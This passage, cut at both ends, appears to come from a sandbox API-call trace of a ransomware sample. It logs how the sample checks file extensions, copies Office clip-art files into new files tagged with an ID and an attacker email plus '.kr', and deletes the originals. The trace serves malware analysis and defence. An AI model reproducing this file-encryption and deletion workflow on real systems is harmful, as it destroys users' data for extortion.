Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.098] lstrlenW (lpString=".doc") returned 4 [0186.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.098] lstrlenW (lpString=".docx") returned 5 [0186.098] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.098] lstrlenW (lpString=".pdf") returned 4 [0186.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.098] lstrlenW (lpString=".xls") returned 4 [0186.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.098] lstrlenW (lpString=".xlsx") returned 5 [0186.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.098] lstrlenW (lpString=".ppt") returned 4 [0186.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.098] lstrlenW (lpString=".zip") returned 4 [0186.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.098] lstrlenW (lpString=".rar") returned 4 [0186.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.098] lstrlenW (lpString=".bz2") returned 4 [0186.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.099] lstrlenW (lpString=".7z") returned 3 [0186.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.099] lstrlenW (lpString=".dbf") returned 4 [0186.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.099] lstrlenW (lpString=".1cd") returned 4 [0186.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.099] lstrlenW (lpString=".jpg") returned 4 [0186.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.099] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.099] lstrlenW (lpString="DD00414_.WMF") returned 12 [0186.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.100] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=42908) returned 1 [0186.100] CloseHandle (hObject=0x538) returned 1 [0186.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0186.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.100] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.100] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.101] GetLastError () returned 0x0 [0186.101] ReadFile (in: hFile=0x538, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xa79c, lpOverlapped=0x0) returned 1 [0186.104] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0186.105] ReadFile (in: hFile=0x538, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.106] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.106] SetEndOfFile (hFile=0x51c) returned 1 [0186.106] CloseHandle (hObject=0x51c) returned 1 [0186.109] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.109] SetEndOfFile (hFile=0x538) returned 1 [0186.112] CloseHandle (hObject=0x538) returned 1 [0186.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0186.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.113] lstrlenW (lpString=".doc") returned 4 [0186.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.113] lstrlenW (lpString=".docx") returned 5 [0186.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.113] lstrlenW (lpString=".pdf") returned 4 [0186.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.113] lstrlenW (lpString=".xls") returned 4 [0186.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.113] lstrlenW (lpString=".xlsx") returned 5 [0186.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.113] lstrlenW (lpString=".ppt") returned 4 [0186.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.114] lstrlenW (lpString=".zip") returned 4 [0186.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.114] lstrlenW (lpString=".rar") returned 4 [0186.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.114] lstrlenW (lpString=".bz2") returned 4 [0186.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.114] lstrlenW (lpString=".7z") returned 3 [0186.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.114] lstrlenW (lpString=".dbf") returned 4 [0186.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.114] lstrlenW (lpString=".1cd") returned 4 [0186.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.114] lstrlenW (lpString=".jpg") returned 4 [0186.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.114] lstrlenW (lpString=".doc") returned 4 [0186.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.114] lstrlenW (lpString=".docx") returned 5 [0186.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.114] lstrlenW (lpString=".pdf") returned 4 [0186.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.114] lstrlenW (lpString=".xls") returned 4 [0186.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.114] lstrlenW (lpString=".xlsx") returned 5 [0186.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.114] lstrlenW (lpString=".ppt") returned 4 [0186.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.115] lstrlenW (lpString=".zip") returned 4 [0186.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.115] lstrlenW (lpString=".rar") returned 4 [0186.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.115] lstrlenW (lpString=".bz2") returned 4 [0186.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.115] lstrlenW (lpString=".7z") returned 3 [0186.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.115] lstrlenW (lpString=".dbf") returned 4 [0186.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.115] lstrlenW (lpString=".1cd") returned 4 [0186.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0186.115] lstrlenW (lpString=".jpg") returned 4 [0186.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.115] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.115] lstrlenW (lpString="DD00419_.WMF") returned 12 [0186.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.116] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=712) returned 1 [0186.116] CloseHandle (hObject=0x538) returned 1 [0186.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0186.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.117] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.117] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.118] GetLastError () returned 0x0 [0186.118] ReadFile (in: hFile=0x538, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2c8, lpOverlapped=0x0) returned 1 [0186.218] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d0, lpOverlapped=0x0) returned 1 [0186.219] ReadFile (in: hFile=0x538, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.219] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.219] SetEndOfFile (hFile=0x51c) returned 1 [0186.224] CloseHandle (hObject=0x51c) returned 1 [0186.224] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.224] SetEndOfFile (hFile=0x538) returned 1 [0186.229] CloseHandle (hObject=0x538) returned 1 [0186.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0186.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.612] lstrlenW (lpString=".doc") returned 4 [0186.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.612] lstrlenW (lpString=".docx") returned 5 [0186.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.612] lstrlenW (lpString=".pdf") returned 4 [0186.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.612] lstrlenW (lpString=".xls") returned 4 [0186.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.612] lstrlenW (lpString=".xlsx") returned 5 [0186.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.612] lstrlenW (lpString=".ppt") returned 4 [0186.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.612] lstrlenW (lpString=".zip") returned 4 [0186.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.612] lstrlenW (lpString=".rar") returned 4 [0186.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.612] lstrlenW (lpString=".bz2") returned 4 [0186.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.612] lstrlenW (lpString=".7z") returned 3 [0186.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.612] lstrlenW (lpString=".dbf") returned 4 [0186.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.612] lstrlenW (lpString=".1cd") returned 4 [0186.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.612] lstrlenW (lpString=".jpg") returned 4 [0186.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.613] lstrlenW (lpString=".doc") returned 4 [0186.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.613] lstrlenW (lpString=".docx") returned 5 [0186.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.613] lstrlenW (lpString=".pdf") returned 4 [0186.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.613] lstrlenW (lpString=".xls") returned 4 [0186.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.613] lstrlenW (lpString=".xlsx") returned 5 [0186.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.613] lstrlenW (lpString=".ppt") returned 4 [0186.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.613] lstrlenW (lpString=".zip") returned 4 [0186.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.613] lstrlenW (lpString=".rar") returned 4 [0186.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.613] lstrlenW (lpString=".bz2") returned 4 [0186.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.613] lstrlenW (lpString=".7z") returned 3 [0186.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.613] lstrlenW (lpString=".dbf") returned 4 [0186.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.613] lstrlenW (lpString=".1cd") returned 4 [0186.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0186.613] lstrlenW (lpString=".jpg") returned 4 [0186.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.614] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.614] lstrlenW (lpString="DD01015_.WMF") returned 12 [0186.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.614] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2226) returned 1 [0186.614] CloseHandle (hObject=0x520) returned 1 [0186.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0186.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.615] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.615] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.616] GetLastError () returned 0x0 [0186.616] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x8b2, lpOverlapped=0x0) returned 1 [0186.617] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x8c0, lpOverlapped=0x0) returned 1 [0186.620] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.620] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.620] SetEndOfFile (hFile=0x534) returned 1 [0186.620] CloseHandle (hObject=0x534) returned 1 [0186.620] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.620] SetEndOfFile (hFile=0x520) returned 1 [0186.623] CloseHandle (hObject=0x520) returned 1 [0186.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0186.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.624] lstrlenW (lpString=".doc") returned 4 [0186.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.624] lstrlenW (lpString=".docx") returned 5 [0186.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.624] lstrlenW (lpString=".pdf") returned 4 [0186.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.624] lstrlenW (lpString=".xls") returned 4 [0186.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.624] lstrlenW (lpString=".xlsx") returned 5 [0186.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.624] lstrlenW (lpString=".ppt") returned 4 [0186.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.624] lstrlenW (lpString=".zip") returned 4 [0186.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.625] lstrlenW (lpString=".rar") returned 4 [0186.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.625] lstrlenW (lpString=".bz2") returned 4 [0186.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.625] lstrlenW (lpString=".7z") returned 3 [0186.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.625] lstrlenW (lpString=".dbf") returned 4 [0186.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.625] lstrlenW (lpString=".1cd") returned 4 [0186.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.625] lstrlenW (lpString=".jpg") returned 4 [0186.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.625] lstrlenW (lpString=".doc") returned 4 [0186.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.625] lstrlenW (lpString=".docx") returned 5 [0186.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.625] lstrlenW (lpString=".pdf") returned 4 [0186.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.625] lstrlenW 